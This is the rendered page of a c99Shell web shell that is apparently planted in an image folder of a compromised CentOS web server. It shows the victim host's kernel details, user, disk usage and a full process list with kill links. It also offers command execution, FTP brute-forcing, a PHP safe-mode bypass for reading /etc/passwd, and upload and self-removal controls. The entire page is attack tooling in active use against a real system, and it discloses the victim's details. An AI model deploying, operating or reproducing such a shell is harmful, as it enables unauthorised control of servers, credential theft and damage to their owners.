!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/report/person/picture/   drwxr-xr-x
Free 44.44 GB of 127.8 GB (34.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Processes:
USERPID%CPU%MEMVSZRSSTTYSTATSTARTTIMECOMMAND
6830750.00.02020812?SJun050:00hald-addon-acpi: listening on acpid socket /var/run/acpid.socketKILL
6830670.00.062404208?SsJun050:01haldKILL
apache146351.10.0258006944?S02:440:00/usr/sbin/httpdKILL
apache147471.20.0258206976?S02:440:00/usr/sbin/httpdKILL
apache146341.20.0258407004?S02:440:00/usr/sbin/httpdKILL
apache134861.50.0259127124?S02:430:00/usr/sbin/httpdKILL
apache134571.20.0258206992?S02:430:00/usr/sbin/httpdKILL
apache148181.10.0259127108?S02:440:00/usr/sbin/httpdKILL
apache134921.30.0257726944?S02:430:00/usr/sbin/httpdKILL
apache148231.30.0258847184?S02:440:00/usr/sbin/httpdKILL
apache157021.20.0257846924?S02:440:00/usr/sbin/httpdKILL
apache157531.10.0258686848?S02:440:00/usr/sbin/httpdKILL
apache152961.30.0258487040?S02:440:00/usr/sbin/httpdKILL
apache148271.20.0268448072?S02:440:00/usr/sbin/httpdKILL
apache134561.20.0258407040?S02:430:00/usr/sbin/httpdKILL
apache148211.10.0257846892?S02:440:00/usr/sbin/httpdKILL
apache134481.50.0258207016?S02:430:00/usr/sbin/httpdKILL
apache68001.10.0258087064?S02:420:02/usr/sbin/httpdKILL
apache81261.30.0258207052?S02:420:01/usr/sbin/httpdKILL
apache55641.00.0263327524?S02:410:02/usr/sbin/httpdKILL
apache55011.10.0259247184?S02:410:02/usr/sbin/httpdKILL
apache54931.10.0258247208?S02:410:02/usr/sbin/httpdKILL
apache93851.40.0262887312?S02:420:01/usr/sbin/httpdKILL
apache100921.30.0258247064?S02:430:01/usr/sbin/httpdKILL
apache134471.10.0258207132?S02:430:00/usr/sbin/httpdKILL
apache157541.10.0257886880?S02:440:00/usr/sbin/httpdKILL
apache125951.10.0258047028?S02:430:00/usr/sbin/httpdKILL
apache125921.10.0257886988?S02:430:00/usr/sbin/httpdKILL
apache109401.20.0258047056?S02:430:01/usr/sbin/httpdKILL
apache134551.40.0258167008?S02:430:00/usr/sbin/httpdKILL
apache147461.30.0258167052?S02:440:00/usr/sbin/httpdKILL
apache178792.00.0258766844?S02:440:00/usr/sbin/httpdKILL
apache182493.30.0257286836?S02:440:00/usr/sbin/httpdKILL
apache178782.30.0257886860?S02:440:00/usr/sbin/httpdKILL
apache178771.60.0254886024?S02:440:00/usr/sbin/httpdKILL
apache178761.60.0254326020?S02:440:00/usr/sbin/httpdKILL
apache184092.50.0254326020?S02:440:00/usr/sbin/httpdKILL
apache158511.10.0257846872?S02:440:00/usr/sbin/httpdKILL
apache186182.00.0254326020?S02:440:00/usr/sbin/httpdKILL
apache188310.00.02184836?R02:440:00ps -auxKILL
apache186172.00.0254326020?S02:440:00/usr/sbin/httpdKILL
apache186162.00.0254326020?S02:440:00/usr/sbin/httpdKILL
apache186152.00.0254326020?S02:440:00/usr/sbin/httpdKILL
apache176893.10.0266007756?S02:440:00/usr/sbin/httpdKILL
apache184102.50.0254326020?S02:440:00/usr/sbin/httpdKILL
apache161171.10.0254326024?S02:440:00/usr/sbin/httpdKILL
apache162881.20.0257926924?S02:440:00/usr/sbin/httpdKILL
apache158711.20.0257846852?S02:440:00/usr/sbin/httpdKILL
apache158531.30.0258246988?S02:440:00/usr/sbin/httpdKILL
apache176882.20.0258086928?S02:440:00/usr/sbin/httpdKILL
apache164141.30.0258206928?S02:440:00/usr/sbin/httpdKILL
apache164131.00.0254326024?S02:440:00/usr/sbin/httpdKILL
apache166521.20.0258046920?S02:440:00/usr/sbin/httpdKILL
apache166541.30.0258206968?S02:440:00/usr/sbin/httpdKILL
apache175322.20.0257846856?S02:440:00/usr/sbin/httpdKILL
apache166511.20.0257766920?S02:440:00/usr/sbin/httpdKILL
apache173792.00.0258286960?S02:440:00/usr/sbin/httpdKILL
dbus29490.00.02748940?SsJun050:01dbus-daemon --systemKILL
gdm36290.00.13134015872?SsJun050:00/usr/libexec/gdmgreeterKILL
mysql32731.40.920288875452?SlJun05778:55/usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking --socket=/var/lib/mysql/mysql.sockKILL
ntp31910.00.044004396?SLsJun050:01ntpd -u ntp:ntp -p /var/run/ntpd.pid -gKILL
root31310.00.0303361388?SslJun050:02automountKILL
root31040.00.01916456?SsJun050:00/usr/bin/hidd --serverKILL
root28900.00.000?S<Jun050:00[rpciod/0]KILL
root30680.00.03164984?SJun050:00hald-runnerKILL
root31660.00.070681068?SsJun050:00/usr/sbin/sshdKILL
root31480.00.05156504?SsJun050:00./hpiodKILL
root31530.00.0134684640?SJun050:00python ./hpssd.pyKILL
root28910.00.000?S<Jun050:00[rpciod/1]KILL
root31750.00.0101442376?SsJun050:00cupsdKILL
root32240.00.045361212?SJun050:00/bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --socket=/var/lib/mysql/mysql.sock --log-error=/var/log/mysqld.log --pid-file=/var/run/mysqld/mysqld.pid --user=mysqlKILL
root28920.00.000?S<Jun050:00[rpciod/2]KILL
root28970.00.000?S<Jun050:00[rpciod/7]KILL
root28960.00.000?S<Jun050:00[rpciod/6]KILL
root28950.00.000?S<Jun050:00[rpciod/5]KILL
root28940.00.000?S<Jun050:00[rpciod/4]KILL
root28930.00.000?S<Jun050:00[rpciod/3]KILL
root29340.00.05820648?SsJun050:00rpc.idmapdKILL
root30430.00.0231121368?SslJun050:00pcscdKILL
root30050.00.000?S<Jun050:00[krfcommd]KILL
root29580.00.02172768?SsJun050:00/usr/sbin/hcidKILL
root30530.00.01676528?SsJun050:00/usr/sbin/acpidKILL
root115610.00.065161560?SsJul100:00/usr/libexec/openssh/sftp-serverKILL
root36180.00.025641124?SNJun050:00/usr/libexec/gam_serverKILL
root115590.00.0100763112?SsJul100:02sshd: root@nottyKILL
root36160.00.12594410800?SNJun050:00/usr/bin/python -tt /usr/sbin/yum-updatesdKILL
root36030.00.0112565200tty7Ss+Jun050:06/usr/bin/Xorg :0 -br -audit 0 -auth /var/gdm/:0.Xauth -nolisten tcp vt7KILL
root36020.00.0274964180?SlJun050:00/usr/libexec/gdm-rh-security-token-helperKILL
root10.00.02072636?SsJun050:01init [5]KILL
root124840.00.099203092?SsJul100:02sshd: root@pts/1KILL
root188600.00.065121536?SsJul010:00/usr/libexec/openssh/sftp-serverKILL
root188700.00.065121628?SsJul010:00/usr/libexec/openssh/sftp-serverKILL
root188580.00.0100763124?SsJul010:10sshd: root@nottyKILL
root188560.00.099203080?SsJul010:10sshd: root@nottyKILL
root124880.00.046721460pts/1Ss+Jul100:00-bashKILL
root36000.00.0161682220?SJun050:00/usr/sbin/gdm-binary -nodaemonKILL
root35060.00.0155562376?SsJun050:00/usr/sbin/gdm-binary -nodaemonKILL
root33950.00.02268432?SsJun050:00/usr/sbin/atdKILL
root34920.00.03516440?SJun050:00/usr/sbin/smartd -q neverKILL
root33490.00.052881104?SsJun050:00crondKILL
root33400.00.0228287908?SsJun050:00/usr/sbin/httpdKILL
root33300.00.01908372?SsJun050:00gpm -m /dev/input/mice -t exps2KILL
root34970.00.01664424tty1Ss+Jun050:00/sbin/mingetty tty1KILL
root34980.00.01664420tty2Ss+Jun050:00/sbin/mingetty tty2KILL
root35040.00.01664428tty6Ss+Jun050:00/sbin/mingetty tty6KILL
root35020.00.01664428tty5Ss+Jun050:00/sbin/mingetty tty5KILL
root35000.00.01664428tty4Ss+Jun050:00/sbin/mingetty tty4KILL
root34990.00.01664424tty3Ss+Jun050:00/sbin/mingetty tty3KILL
root33120.00.093321924?SsJun050:00sendmail: accepting connectionsKILL
root28460.00.02472376?SsJun050:20irqbalanceKILL
root470.00.000?S<Jun050:00[kblockd/2]KILL
root460.00.000?S<Jun050:00[kblockd/1]KILL
root480.00.000?S<Jun050:00[kblockd/3]KILL
root490.00.000?S<Jun050:00[kblockd/4]KILL
root510.00.000?S<Jun050:00[kblockd/6]KILL
root500.00.000?S<Jun050:00[kblockd/5]KILL
root450.00.000?S<Jun050:00[kblockd/0]KILL
root350.00.000?S<Jun050:00[kthread]KILL
root310.00.000?S<Jun050:00[events/5]KILL
root300.00.000?S<Jun050:00[events/4]KILL
root320.00.000?S<Jun050:00[events/6]KILL
root330.00.000?S<Jun050:00[events/7]KILL
root340.00.000?S<Jun050:00[khelper]KILL
root520.00.000?S<Jun050:00[kblockd/7]KILL
root530.00.000?S<Jun050:00[kacpid]KILL
root1980.00.000?S<Jun050:00[khubd]KILL
root1950.00.000?S<Jun050:00[cqueue/7]KILL
root2000.00.000?S<Jun050:00[kseriod]KILL
root3010.00.000?SJun050:00[khungtaskd]KILL
root3020.00.000?SJun050:00[pdflush]KILL
root1940.00.000?S<Jun050:00[cqueue/6]KILL
root1930.00.000?S<Jun050:00[cqueue/5]KILL
root1890.00.000?S<Jun050:00[cqueue/1]KILL
root1880.00.000?S<Jun050:00[cqueue/0]KILL
root1900.00.000?S<Jun050:00[cqueue/2]KILL
root1910.00.000?S<Jun050:00[cqueue/3]KILL
root1920.00.000?S<Jun050:00[cqueue/4]KILL
root290.00.000?S<Jun050:00[events/3]KILL
root280.00.000?S<Jun050:00[events/2]KILL
root100.00.000?S<Jun050:00[watchdog/2]KILL
root90.00.000?SNJun050:00[ksoftirqd/2]KILL
root110.00.000?S<Jun050:00[migration/3]KILL
root120.00.000?SNJun050:00[ksoftirqd/3]KILL
root130.00.000?S<Jun050:00[watchdog/3]KILL
root80.00.000?S<Jun050:00[migration/2]KILL
root70.00.000?S<Jun050:00[watchdog/1]KILL
root30.00.000?SNJun050:00[ksoftirqd/0]KILL
root20.00.000?S<Jun050:00[migration/0]KILL
root40.00.000?S<Jun050:00[watchdog/0]KILL
root50.00.000?S<Jun050:01[migration/1]KILL
root60.00.000?SNJun050:01[ksoftirqd/1]KILL
root140.00.000?S<Jun050:00[migration/4]KILL
root150.00.000?SNJun050:00[ksoftirqd/4]KILL
root240.00.000?SNJun050:00[ksoftirqd/7]KILL
root230.00.000?S<Jun050:00[migration/7]KILL
root250.00.000?S<Jun050:00[watchdog/7]KILL
root260.00.000?S<Jun050:00[events/0]KILL
root270.00.000?S<Jun050:00[events/1]KILL
root220.00.000?S<Jun050:00[watchdog/6]KILL
root210.00.000?SNJun050:00[ksoftirqd/6]KILL
root170.00.000?S<Jun050:01[migration/5]KILL
root160.00.000?S<Jun050:00[watchdog/4]KILL
root180.00.000?SNJun050:00[ksoftirqd/5]KILL
root190.00.000?S<Jun050:00[watchdog/5]KILL
root200.00.000?S<Jun050:00[migration/6]KILL
root3030.00.000?SJun050:01[pdflush]KILL
root3040.00.000?S<Jun050:18[kswapd0]KILL
root21600.00.000?S<Jun050:00[kmpathd/3]KILL
root21590.00.000?S<Jun050:00[kmpathd/2]KILL
root21610.00.000?S<Jun050:00[kmpathd/4]KILL
root21620.00.000?S<Jun050:00[kmpathd/5]KILL
root21630.00.000?S<Jun050:00[kmpathd/6]KILL
root21580.00.000?S<Jun050:00[kmpathd/1]KILL
root21570.00.000?S<Jun050:00[kmpathd/0]KILL
root6730.00.000?S<Jun050:00[ksnapd]KILL
root6360.00.000?S<Jun050:00[kstriped]KILL
root7120.00.000?S<Jun050:45[kjournald]KILL
root7380.00.000?S<Jun050:00[kauditd]KILL
root7710.00.02476928?S<sJun050:00/sbin/udevd -dKILL
root21640.00.000?S<Jun050:00[kmpathd/7]KILL
root21650.00.000?S<Jun050:00[kmpath_handlerd]KILL
root28230.00.000?S<Jun050:00[kondemand/3]KILL
root28220.00.000?S<Jun050:00[kondemand/2]KILL
root28240.00.000?S<Jun050:00[kondemand/4]KILL
root28250.00.000?S<Jun050:00[kondemand/5]KILL
root28260.00.000?S<Jun050:00[kondemand/6]KILL
root28210.00.000?S<Jun050:00[kondemand/1]KILL
root28200.00.000?S<Jun050:00[kondemand/0]KILL
root27330.00.013544784?S<slJun050:00auditdKILL
root22350.00.000?S<Jun050:00[kjournald]KILL
root27350.00.012076688?S<slJun050:00/sbin/audispdKILL
root27570.00.01728572?SsJun050:00syslogd -m 0KILL
root27600.00.01680408?SsJun050:00klogd -xKILL
root28270.00.000?S<Jun050:00[kondemand/7]KILL
root6170.00.000?S<Jun050:00[scsi_eh_4]KILL
root3120.00.000?S<Jun050:00[aio/7]KILL
root3110.00.000?S<Jun050:00[aio/6]KILL
root4790.00.000?S<Jun050:00[kpsmoused]KILL
root5840.00.000?S<Jun050:00[mpt_poll_0]KILL
root5850.00.000?S<Jun050:00[mpt/0]KILL
root3100.00.000?S<Jun050:00[aio/5]KILL
root3090.00.000?S<Jun050:00[aio/4]KILL
root3050.00.000?S<Jun050:00[aio/0]KILL
root3060.00.000?S<Jun050:00[aio/1]KILL
root3070.00.000?S<Jun050:00[aio/2]KILL
root3080.00.000?S<Jun050:00[aio/3]KILL
root5860.00.000?S<Jun050:00[scsi_eh_0]KILL
root5960.00.000?S<Jun050:00[ata/0]KILL
root6040.00.000?S<Jun050:00[ata_aux]KILL
root6140.00.000?S<Jun050:00[scsi_eh_1]KILL
root6150.00.000?S<Jun050:00[scsi_eh_2]KILL
root6160.00.000?S<Jun050:00[scsi_eh_3]KILL
root6030.00.000?S<Jun050:00[ata/7]KILL
root6020.00.000?S<Jun050:00[ata/6]KILL
root5980.00.000?S<Jun050:00[ata/2]KILL
root5990.00.000?S<Jun050:00[ata/3]KILL
root6000.00.000?S<Jun050:00[ata/4]KILL
root6010.00.000?S<Jun050:00[ata/5]KILL
root5970.00.000?S<Jun050:00[ata/1]KILL
rpc28570.00.01816528?SsJun050:00portmapKILL
smmsp33200.00.081761528?SsJun050:00sendmail: Queue runner@01:00:00 for /var/spool/clientmqueueKILL
xfs33780.00.038401644?SsJun050:00xfs -droppriv -daemonKILL

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0278 ]--